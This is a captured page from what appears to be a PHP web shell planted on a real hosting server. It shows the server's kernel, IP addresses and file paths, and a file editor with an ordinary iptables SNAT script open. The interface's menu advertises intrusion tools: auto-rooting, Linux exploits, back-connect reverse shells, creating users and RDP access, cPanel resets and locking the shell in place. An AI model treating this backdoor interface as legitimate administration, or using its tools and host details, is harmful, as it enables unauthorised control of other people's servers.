Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.15.141.155
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
godaddy /
docker /
[ HOME SHELL ]
Name
Size
Permission
Action
configure-snat
744
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : configure-snat
#!/bin/bash mkdir -p /mnt/cdrom mount /dev/sr0 /mnt/cdrom # In Pike, Nova no longer writes net config to 0000 CONTENT_PATH=/mnt/cdrom/openstack/content IP_FILE=0000 [ "$(head -n1 ${CONTENT_PATH}/0000)" == "# Injected by Nova on instance boot" ] && IP_FILE=0001 PUBLIC_IP=$(cat ${CONTENT_PATH}/${IP_FILE}) umount /dev/sr0 until [ "$(/usr/bin/docker network inspect --format '{{ .Name }}' bridge)" == "bridge" ]; do echo "waiting for docker bridge..." sleep 0.1 done DOCKER_NETWORK=$(ip -f inet -o addr show docker0 scope global | cut -d\ -f 7) set -x iptables -t nat -D POSTROUTING -s ${DOCKER_NETWORK} ! -o docker0 -j SNAT --to ${PUBLIC_IP} iptables -t nat -I POSTROUTING -s ${DOCKER_NETWORK} ! -o docker0 -j SNAT --to ${PUBLIC_IP}
Close